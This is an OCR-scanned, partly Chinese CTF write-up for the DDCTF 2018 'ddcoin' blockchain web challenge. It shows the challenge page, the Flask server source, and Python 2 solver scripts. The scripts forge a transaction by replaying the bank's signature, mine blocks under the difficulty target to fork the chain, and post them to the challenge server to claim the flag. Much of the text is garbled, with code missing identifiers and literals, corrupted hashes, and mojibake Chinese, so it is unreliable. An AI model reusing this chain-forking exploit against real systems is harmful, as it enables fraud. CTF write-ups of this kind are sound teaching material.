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Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. View source code
hash of genesis block: 07088bbc269b8a8bcc08ce27aa35889efaab60472e1c15b4ecdfd2df1c6c05ac

the bank's addr: 8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465, th
adedec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aef1c5abdfbb4c3bd7delab, the shop's addr:
9095cbe784e2c97¢5076a9806171056356b8ee5d26ca9343af25e2a036a2301a82581c0044eee5¢c15cf3de9a2655e85b

Balance of all addresses: {"b35735fb31d2eead4c48eab955b1a0fab072bdechd4228694e30f99a7819a4bab1dc23c7a72283a5c2e94a602¢¢
"a63d14b5241f3cd20586f14b869097075bdf6798680c21ed4ca6f49a04ad71d77f532f522fe854d6ee2cf15ea56a8f2b": 999999,
"8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465™: 0,
"adedec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aeflc5abdfb64c3bd7delab": O,
"9095¢che784e2¢97¢5076a9806171056356b8ee5d26cad343af25e2a036a2301a82581c0044eee5¢15¢cf3de9a2655e85b": 0}

All utxos: {"44f93a97-ecac-4bbe-939¢-29b516c43cf2™ {"amount™ 1, "hash": "2b83d205e6d25c93f5256496821c47a32eba00423520edc:
"b35735fb31d2eea4c48eab955b1a0fab072b4ecbd4228694e30f99a7819a4bab1dc23¢c7a72283a5c2e94a602c97e2641", "id": "44f93a97-
"ce03074c-8d4b-4d81-a78f-52b517bb8f91": {"amount": 999999, "hash": "e2ecb1affec76b525ffe6d1951ec01d39a183814b91418967f2
"a63d14b5241f3cd20586f14b869097075bdf6798680c21e44cabf49a04ad71d77f532f522fe854d6ee2cf15ea56a8f2b", "id": "ce03074c-8¢

Blockchain Explorer: {"5adb53ed0a1c2813243a9a84c873c866b7bal444e32dc6c936d3f7df032aad1b": {"nonce": "a empty block", "prev’
"f37aed28b8d53ee749064c94adec334c149e70befe12a974f6025dbd9f72a3d3", "hash": "5adb53ed0alc2813243a9a84c873c866h7bal4
"transactions": [], "height": 2}, "f37aed28b8d53ee749064c94adec334c149e70befe12a974f6025dbd9f72a3d3": {"nonce": "HAHA, | AM TI
"07088bbc269b8a8bcc08ce27aa3588%efaab60472e1c15bdecdfd2df1c6c05ac”, "hash": "f37aed28b8d53ee749064c94adec334¢c149e70b
"transactions": [{"input": ["fd1a7fe0-be99-441e-a5e8-bb9f64072e14"], "signature":
["a542018985e733e7ebb8638fbhf297d1b634ceef74802e4cf89f2f4d2720699972e2dbd651401e3d8h7e760269f2fc1a"], "hash":
"ffcedccd85649b03e2ec584e66341bfbead1f9bb7364bebfe2b871ffb9990b97", "output”: [{"amount”: 999999, "hash™:
"e2ec6laffec76b525ffe6d1951ec01d39a183814b914189671f21cde8c703e8d", "addr":
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Announcement: The server has been restarted at 21: 45 04 / 17.Al11 blockchain have been reset.View source code

hash of genesis block: 1787809bc3d510a8137f05be51aca5b4597112339cd511f819ccd979372ef336¢

the bank 's addr: a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16beadlf8afffa84c69
7, the hacker'

s addr: aal82824bb8333cf921fbb0abf@l6be5af39c4df2a41f1d31815269e43c6322atbc9c705df18ea79573c3a33bcd93f05, the sh
op 's addr: d4le4e086a7d3c91016bfcd7da6d38a9728d58f156c9086252b5f3e731932e18d9dcad44381f8aedbel699ac764fc5be3

Balance of all addresses: {"aal82824bb8333cf921fbbBabf@l6be5af39c4df2a41f1d31815269e43c6322afbc9c705df18ea79573c¢
3a33bcd93f05": 999999, "a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16beadlf8af ]
a84c69f7": 1, "d4lede086a7d3c91016bfcd7da6d38a9728d581f156c9086252b5f3e731932e18d9dca44381f8aedbel699ac764fc5be3"

: 0}

A1l utxos: {"62ed42ed2-2272-45ec-86d1-f2463ddcbab3": {"amount": 1, "hash": "a896223f24c694d0212f6a50443b903f845a0
©33b6b46bc9659fel@13adae8ff", "addr": "a7a2fa8a252dd7fac9d829ebd4ee9c1be86414698b8483b2d3d13074df0d7d948003696C74
3f16bea®lf8afffa84c69f7", "id": "62ed42ed2-2272-45ec-86d1-f2463ddcbab3"}, "3c6d2037-a785-4d74-al163-b51fccd2d77f":
{"amount": 999999, "hash": "c@edc@374d8b87525e42448b3af2b6731df8ca20118c6b785e7ac52af97bf92e", "addr": "aal8282
4bb8333cf921fbboabfelebe5at39c4df2a41f1d31815269e43c6322afbc9c705df18ea79573c3a33bcd93f05", "id": "3c6d2037-a785
-4d74-a163-b51fccd2d77f" }}

Blockchain Explorer: {"7f8bl42cca7eefa7f4904943c74f9b6bb8dcb3600b465170afbla22b9056fc26": {"nonce": "HAHA, I AM
THE BANK NOW!", "prev": "1787809bc3d510a8137f@5be51aca5b4597112339cd51f819ccd979372ef336¢c", "hash": "7f8bl42cca?
eefa7f4904943c74f9b6bb8dcb3600b465170afbla22b9056fc26", "transactions": [{"input": ["58de72c9-d820-475f-b9f6-d5d
cbc761781"], "signature": ["20524654bcd19b2b27e7132e2bd5897c9bBeac®39c551127aeff5272fc091c287336e3427174381d4ed@
2df3f96ddee4"], "hash": "a68b9af63f8f30aell86a20a52ed35f876fa3f21d9eb0dfd66d1ff690718136¢c", "output": [{"amount"
: 999999, "hash": "c@edc©374d8b87525e42448b3af2b6731df8ca20118c6b785e7ac52af97bf92e", "addr": "aal82824bb8333cf9
21fbbOabfOl6be5at39c4df2a411f1d31815269e43c6322atbc9c705df18ea79573c3a33bcd93f05", "id": "3c6d2037-a785-4d74-al63]
-b51fccd2d77f"}, {"amount": 1, "hash": "a896223f24c694d0212f6a50443b9031845a0033b6b46bc9659fel013adae8dff", "addn
": "a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16bea®lf8afffa84c69f7", "id": "62
e42ed2-2272-45ec-86d1-f2463ddcbab3"}]}], "height": 1}, "1787809bc3d510a8137f05be51aca5b4597112339cd51f819¢ccd9793
72ef336c": {"nonce": "The Times ©3/Jan/2009 Chancellor on brink of second bailout for bank", "prev": "0000000000
0000000000000V VVVVVVVVVVVVVVRNVVVRRRRRRRRRRRRRRLRRR", "hash": "1787809bc3d510a8137f0B5be5laca5b4597112339cd51f
819ccd979372ef336¢", "transactions": [{"input": [], "signature": [], "hash": "42940579eeabd8348095513b1608464107
6582320f634ac8bbb971e36d1574fd", "output": [{"amount": 1000000, "hash": "6a36554f99a0544afcOf360cb19593cfdb6cdol
Offfdblbc3054130df63b47d5", "addr": "a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c7431]
16beadlf8afffa84c69f7", "id": "58de72c9-d820-475f-b9f6-d5dcbc761781"}]}], "height": @}, "75bbd4f6185f5f468ea2laf]
512580e196869ed72e89898a15d9343627f1299af": {"nonce": "a empty block", "prev": "7f8bl42cca7eefa7f4904943c7419b6b|
b8dcb3600b465170afb1a22b9056fc26", "hash": "75bbd4f6185f5f468ea21af512580e196869ed72e89898a15d9343627f1299af", "
transactions": [], "height": 2}}
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import hashlib, json, rsa, uuid, os

from flask import Flask, session, redirect, url_for, escape, request
from pycallgraph import PyCallGraph

from pycallgraph import Config

from pycallgraph.output import GraphvizOutput

app Flask(__name_ )




return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

hash_reducer(x, y):
return ( (x) )]

has_attrs(d, attrs):
if () ({}): raise Exception(
for attr in attrs:

if attr in d:

raise Exception(

EMPTY_HASH 64

def addr_to_pubkey(address):
return rsa.PublicKey( (address, 16), 65537)

pubkey to_address(pubkey):

assert pubkey.e 65537

hexed (pubkey.n)

if hexed.endswith( ): hexed hexed[:-1]
if hexed.startswith( ): hexed hexed[2:]
return hexed

gen_addr_key pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key pair()
hacker_address, hacker_privkey = gen_addr_key pair()
shop_address, shop_privkey = gen_addr_key pair()
shop_wallet_address, shop_wallet privkey = gen_addr_key pair()

def sign input_utxo(input_utxo_id, privkey):

return rsa.sign(input_utxo_id, privkey, ) .encode (

hash_utxo(utxo):
return (hash_reducer, [utxo[ 1, utxo[

create_output_utxo(addr_to, amount):
utxo = { : (uuid.uuid4()), : addr_to, : amount}
utxo[ ] hash_utxo(utxo)

return utxo

hash_tx(tx):
return (hash_reducer, [
(hash_reducer, tx[ ], EMPTY_HASH),
(hash_reducer, [utxo[ ] for utxo in tx[ 11, EMPTY_HASH)

D)

create_tx(input_utxo_ids, output utxo, privkey from=None):

tx { : input_utxo_ids, : [sign_input_utxo(id, privkey from) for in input_utxo_ids],
: output_utxo}

tx[ ] hash_tx(tx)




return tx

hash_block(block):
return (hash_reducer, [block[ (hash_reducer, [tx[
11, EMPTY_HASH)])

create_block(prev_block hash, nonce_str, transactions):
if (prev_block_hash) (""): raise Exception(
(nonce_str)
(nonce) 128: raise Exception(
block { : prev_block_hash, : : transactions}
block[ ] hash_block(block)

return block

find_blockchain_tail():

return (session| ].values(), key=lambda block: block[

calculate_utxo(blockchain_tail):
curr_block blockchain_tail
blockchain [curr_block]
while curr_block[ ] session|
curr_block session| ]1[curr_block[
blockchain.append(curr_block)
blockchain blockchain[::-1]
utxos {}
for block in blockchain:
for tx in block[
for input_utxo_id in tx[
del utxos[input_utxo_id]
for utxo in tx[ 1:
utxos[utxo[ 11 utxo

return utxos

calculate_balance(utxos):
balance {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo[ ] in balance:
balance[utxo[ 11 (%]
balance[utxo[ 11 utxo[
return balance

verify utxo_signature(address, utxo_id, signature):

try:

return rsa.verify(utxo_id, signature.decode( ), addr_to_pubkey(address))
except:

return False

append_block(block, difficulty ¢ 64, 16)):
has_attrs(block, [ 5 D)

if (block[ D) (u""): block[ (block[
if (block[ D) (u'"): block|[ ] (block[
if block[ ] in session| ]: raise Exception(

tail session| J1[block][ 1]

utxos calculate_utxo(tail)

if (block[ D) ([1): raise Exception(
new_utxo_ids @)
for tx in block|[

] for tx in block|




for utxo in tx[
has_attrs(utxo, [
if (utxo[ 1

> D
(u'"): utxo[ (utxo[ 1)

if (utxo[ 1 (u""): utxo[ ] (utxo[

if (utxo[ 1

(""): raise Exception(

if utxo[ ] in new_utxo_ids: raise Exception(

new_utxo_ids.add(utxo[ D)

if (utxo[

if utxo[

D) (1): raise Exception(

0: raise Exception(

if (utxo[ D) (""): raise Exception(

try:

addr_to_pubkey (utxo[ 1

except:

raise Exception(

utxol[ ] hash_utxo(utxo)

tot_output ([utxo[

if (tx[ D
if (tx[ D

if (tx[

tot_input
tx[ [ (i) if

] for utxo in tx[

([1): raise Exception(
([1): raise Exception(

1): raise Exception(

(1) (u'') else i for i in tx[

tx[ ] [ (1) if (1) (u'") else i for i in tx[
for utxo_id, signature in (tx[ 1, tx[ 1

if (utxo_id)

("'): raise Exception(

if utxo_id in utxos: raise Exception(
(utxo_id))

utxo = utxos[utxo_id
if (signature)

if verify utxo_signature(utxo[

raise Exception(
(utxo_id))
tot_input utxo[
del utxos[utxo_id]

]
("'): raise Exception(
], utxo_id, signature):

if tot_output > tot_input:

raise Exception(
tot_output))
tx[ hash_tx(tx)

block = create_block(block|[
block_hash (block[
if block_hash difficulty:
block[ ] tail[
if (session| D)

)
if block[ ] in session]
session| ]1[block][
session.modified True

init():

if in session:
session| ] {}
session|

total currency issued

1, block[
1, 16)
raise Exception(
1+1
50: raise Exception(

]: raise Exception(
11 block

create output utxo(bank address, 1000000

(tot_input,




genesis_transaction create_tx([], [total currency issued])
genesis block create_block(EMPTY_HASH,

, [genesis_transaction])

session| genesis block|[
genesis_block|[ ] (%]

session| ][ genesis_block|[ 11 genesis_block

handout create_output_utxo(hacker_address, 999999)

reserved create_output_utxo(bank_address, 1)

transferred create_tx([total currency_ issued| 11, [handout, reserved], bank privkey)
second_block create_block(genesis_block|[ 1, , [transferred])

append_block(second_block)

third_block create block(second block|
append_block(third_block)

def get balance_of_all():
init()
tail = find_blockchain_tail()
utxos calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail

@app.route(url prefix
def homepage():

announcement

balance, utxos, _ = get_balance_of _all()

genesis_block_info session[ ]

addr_info bank_address hacker_address

shop_address

balance_info json.dumps(balance)

utxo_info json.dumps (utxos)

blockchain_info json.dumps(session[ D

view_source_code_link

return announcement+( .join([view_source_code_link, genesis_block_info, addr_info, bala
nce_info, utxo_info, blockchain_info]))

@app.route(url prefix

def getFlag():
init()
if session][ 2: return FLAG()
return

(session| shop_address

find_enough_utxos(utxos, addr_from, amount):
collected []
for utxo in utxos.values():

if utxo[ ] addr_from:
amount utxo[ ]
collected.append(utxo[ D)
if amount 0: return collected, -amount
raise Exception( addr_from)

def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs [create output_utxo(addr_to, amount) ]




e_change

outputs.append(create output_utxo(addr_from, the change))

return create_tx(input_utxo_ids, outputs, privkey)

@app.route(url prefix
def free_ddcoin(address):
balance, utxos, tail get balance of all()
if balance[bank_address] 0: return
try:
address (address)
addr_to_pubkey(address)
transferred = transfer(utxos, bank _address, address, balance[bank_address], bank_privkey)
new_block create_block(tail[ 1, , [transferred])
append_block(new_block)
return (balance[bank_address]) address
except Exception, e:

return )

DIFFICULTY ( 59, 16)
@app.route(url_prefix , methods=[
def create tx_and_check_shop balance():
init()
try:
block json.loads(request.data)
append_block(block, DIFFICULTY)
msg
except Exception, e:
return D)

balance, utxos, tail get_balance_of _all()
if balance[shop_address] 1000000 :

session|

transferred = transfer(utxos, shop_address, shop_wallet address, balance[shop_address], shop_privkey)
new_block = create_block(tail[ 1, , [transferred])
append_block(new_block)
msg

return msg

@app.route(url prefix

def reset_blockchain():
if in session: del session| ]
if in session: del session|
return

@app.route(url prefix
def show_source code():

source (

html

for line in source:

html line.replace( ).replace( 4).replace( ).replace(

eplace( 5 ).replace( )

source.close()

return html
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"nonce": "HAHA, I AM THE BANK NOW!",
"prev": "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bcl439a6e85beec25",
"hash": "e31e1a9a8797d464304c341215b65edf510bdodd251fd5d23f9a41017aaba205",
"transactions": [
{
"input": [
"e95c5a89-3f0e-4bd6-adbc-8ffo06fa2as2"
1
"signature": [
"8cf74260504449ce72c537b587b534c7193e459d97898faea8a3a68622bbe0@1f2117fbadcfd3cff69f12e209d74c 187

"a314b20a66ab94c735f01f82c47ea679869980eb98f0d937a275311328374119¢c",
[

"amount": 999999,

"hash": "513c7eb598f25efb6201f5f2df66842fc92a3890b6927d1b5563ab88ef87eeba",

"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ead9al7ecbe60e9a
Pa717b834b131",

"id": "467e55e7-95a9-4551-b2f8-2d1321468fd4"

"amount": 1,

"hash": "748ac974d0ccldbff6a19778e4e7c145e3cd569b26a872132ff7cadccab067fb",

"addr": "b2b69bf382659fd193d40f3905edadcb91a2afl6d719b6+9b74b3a20ad7al9ed4dedle5b7e78c8efd60a
32f9701a13985",

"id": "42155d27-4934-49d6-acc4-4a299cebe63f"

“height": 1 //RXMHRGER, RINAFHE

BRAR, BAOIPLZME —MERERER X (B AR, AT UK KRR FERALLK, AR

signature &



J i [X Bk TR AT B 42

A1tk (100w)

hacker (100w - 1) ' ,

AR FEEEEX, HEEAREEIRITHAH. HiBTBwhiteup KT, X5 B FATTLLET BE B T Ksignature
BES, FHLE—SHMinputtt i UM B ZHXRFBE . FrOURMMITUESERERKARENXRT, HEBE51%%H
i B EHARB R,

# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], |bank_privkey)
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!™, [transterred])

append_block(second_block)

THEZBCL R payload 4, FERFHIIREE KR EE B X R Hprev.

import json, uuid, hashlib

import random,string

def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

hash_reducer(x, y):
return ( (€9) (¥))

hash_utxo(utxo):
return (hash_reducer, [utxo[ ], utxo[ (utxo[

create_output_utxo(addr_to, amount):

utxo = { : (uuid.uuid4()), : addr_to, : amount}
utxo[ ] (hash_utxo(utxo))

return utxo

hash_tx(tx):
return (hash_reducer, [
(hash_reducer, tx| ], EMPTY_HASH),
(hash_reducer, [utxo[ ] for utxo in tx[ 11, EMPTY_HASH)




def hash_block(block):
return (hash_reducer, [block[ 1, block[ 1,
(hash_reducer, [tx[ ] for tx in block[ 11, EMPTY_HASH) ]

[create output utxo(address,1000000) |

transactions
)
:signature,

routput

hash_transactions hash_tx(transactions)
transactions| ] (hash_transactions)

def fuzz(block, size=20):
CHARS string.letters string.digits
while True:
rnds .join(random.choice(CHARS) for _ in
block[ ] rnds
block_hash (hash_block(block))

tmp_hash (block_hash, 16)

if tmp_hash DIFFICULTY:
block[ ] block_hash
return block

:[transactions]
)i
ok _block fuzz(block)
print(json.dumps(ok_block))

empty_tmp {
: ok_block[
[]

b
empty blockl = fuzz(empty_ tmp)

print(json.dumps(empty blockl))

empty_ tmp {
: empty_blockl[
[]

}
empty block2 fuzz(empty tmp)

print(json.dumps(empty block2))

empty_tmp




1
J

empty block3 fuzz(empty tmp)
print(json.dumps(empty block3))

empty tmp {
: empty_block3[
2 [
)i

empty block4 = fuzz(empty tmp)

print(json.dumps(empty_block4))

BT RES/ESNXE, RIEMHKIKpostsh Al LA%S Zlflag

{"nonce" FIVEMTmANBJEFOWTETIN | "prev”: "Sbc355ab2lfd7e07048e2882f36ff8fbagasadchaaz7b8obc1439a6e85berc25”, "hash™: [foo00e)4:
{"nonce"| "GkqT7aRqiiRc6TmKZhTA" | “prev": "000881431fa32ac7858806b%aaff8efblsbscbdase59132bcd7bl6bBeecalbsSa”, “hash": ["e0006fbi
{"nmonce” "2uP3mEFMOQ7feTTsicuj" ) "prev”: "000007bf952el9e75Bal266da’cf75abbda7dio26ed0lB04alefat?2c@04ba2a”, "hash™: ["@@00ap14
{
{

"nonce"| "RtWzeklpcQ4nvTWSHFTh" | "prev”: "00008814ecafd6efifBofise9021782bf81655F51cf4T72d8fc52fBe34813a748", "hash": [T0006H7 ]
"nonce"”| "JibKXEX4t5IQTZcIWAAL",| "prev”: "00088a7ll43eble97effe3870b9fabc525da53449a77158d78f13%9e2¢8218c4c”, "hash": ["eoeoepBaE

posté =K FHES R B — M A .
http://116.85.48.107:5000/b9d7a7e94897e/create_transaction

form-data x-www-form-urlencoded raw Text =

{"nonce": "2uP3mEFMOg7feTTsicuj"”, "prev": "000007bT952e19e758al266d

Preview Add to collection

Body

Pretty Raw Preview L)

Toggle size
transaction finished. You receive a diamond.

postZESHRIII R X B B — M4 .



hitp://116.85.48.107:5000/b9d7a7e94897e/create_transaction

form-data  x-www-form-urlencoded raw Text »

{"nonce": "JibKX6X4tS5IQT2cIWAAL1l", “"prev": "00000a71143ebl697

Preview Add to collection

Body 3 fEY 200 OK (=] 96 ms
Pretty Raw Preview )

transaction finished. You receive a diamond.

IV Mag, M1 Elflag.
FRATIE BT LAE F py2 il A

import hashlib, json, rsa, uuid, os,requests,re
url root

s=requests.Session()

ddcoin s.get(url=url_root)

prev_one=re.search(r ,ddcoin.content, flags=0).group(1)

bank _utox_id=re.search(r ,ddcoin.content, flags=0).group(1)

bank_signature=re.search(r ,ddcoin.content, flags=0).group(1)

return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):




hash_block(block):
return (hash_reducer, [block[
11, EMPTY_HASH)])

1, block[ (hash_reducer, [tx[ ] for tx in block

hash_utxo(utxo):
return (hash_reducer, [utxo[

hash_tx(tx):
return (hash_reducer, [
(hash_reducer, tx[ ], EMPTY_HASH),

(hash_reducer, [utxo[ ] for utxo in tx[ 11, EMPTY_HASH)

D)

create_output_utxo(addr_to, amount):
(uuid.uuid4()), : : amount}
utxo[ ] hash_utxo(utxo)

utxo {

return utxo

create_tx(input_utxo_ids, output_utxo, privkey from=None):
tx { : input_utxo_ids,
tx[ ] hash_tx(tx)
return tx

:[bank_signature], : output_utxo}

create block(prev_block hash, nonce_str, transactions):
if (prev_block_hash) (""): raise Exception(
nonce (nonce_str)

if (nonce) 128: raise Exception(

block { prev_block_hash,

block[ ] hash_block(block)

return block

: transactions}

check_hash(prev, tx):

(10000000) :
current_block=create_block(prev, (i),tx)
block _hash (current_block[ 1, 16)
if block _hash<DIFFICULTY:

print json.dumps(current_block)

for i in

return current_block

create_feak one():
utxo_first=create_output_utxo(shop_addr, 1000000)
tx_first=create_tx([bank_utox_id], [utxo_first])

return check_hash(prev_one, [tx_first])

create_empty block(prev):
return check_hash(prev,[])

a=create_feak_one()

print s.post(url=url create,data
b=create_empty block(a[ D)
print s.post(url=url create,data
c=create_empty block(b[ 1)

(json.dumps(a))).content

(json.dumps(b))).content




print s.post(url=url create,data (json.dumps(c))).content

d=create_empty block(c[ 1
print s.post(url=url create,data (json.dumps(d))).content

e=create_empty block(d[ 1
print s.post(url=url create,data (json.dumps(e))).content
print s.get(url=url flag).content

B File Edit View Navigate Code Refactor Run Tools VCS Window Help MZIdiZ., . 2oV -CAL s S\BFEILE2.py - PyCharm - X
c: Users 12100 Desktop pyBIZE (o WAEkE2.py Wiz v b & Q
g [ Project v QT 0 — Wy
£ WEsit2-py 1 # -*- encoding: utf-8 -*- ?
& Il External Libraries L o
" Scratches and Consoles 2 # written in python 2.7
3 import hashlib, json, rsa, uuid, os,requests,re
4
5 # —HEEEE
: [ﬂ
7 url_root="http://220.249.52.133:58044"
8 url_create="http://220.249.52.133:58044/create_transaction”
9 url_flag="http://220.249.52.133:58044/flag"
10
11 s=requests.Session()
12 ddcoin = s.get(url=url_root) -
13
14 prev_one=re.search(r"hash of genesis block: ([©-9a-f]{64})",ddcoin.content, flags=0).group(l)—
15 bank_utox_id=re.search(r"\"input\": \[\"([@-9a-f\-]1{36})",ddcoin.content, flags=0).group(1) E
16 bank_signature=re.search(r"\"signature\": \[\"([©-9a-f]{96})",ddcoin.content, flags=0).group(1l
hash_block()
Run: T2 o —
» D:\Python27\python2.exe C:/Users/12100/Desktop/pylld/ HIEWE2. py
H "nonce™: "1522049", "prev": "6d9aa4891f375f3e797150bb91clfabfbb15d2a929be71f066952fb30645057", "hash": "0R00Rbd7ca53363b86928bE
g = @ transaction finished.
;“,", f "nonce™: "769572", "prev": "00000bd7ca53363b86928b6a9%4eab9cc80dcc8a39083d350alcal3ed2d986143", "hash": "00REOc5f5cc64b7b9370bagz
. T transaction finished.
g " "nonce™: "442319", "prev": "00000c5f5cc64b7b9370ba92125fe831d5e914b21f430211b829c46efd95al2d", "hash™: "0©0000333feebbfebc998f07c
b transaction finished. You receive a diamond.
“ {"nonce": "105225". "brev": "0000B333feebbfebc998f07dd93a83c77eb7e5f25dAeadccchlfd6R46564FF30". "hash": "@000098bb4abdfb3bb2445de7
[ Terminal @ Python Console | B 4:Run = 6:TODO Q) Event Log

34:31 CRLF U71-8 dspaces &

[m]

FHERME S — TipF3-~addr

SEER:
https://delcoding.github.io/2018/04/ddctf-writeup4/
https://xz.aliyun.com/t/2299
https:/mww.360zhijia.com/anquan/375753.html

https://xuanxuanblingbling.github.io/ctfiweb/2018/05/01/DDCTF2018-WEB4-%E5%8C %BA%E5%9D %97 %E9%93%BE/
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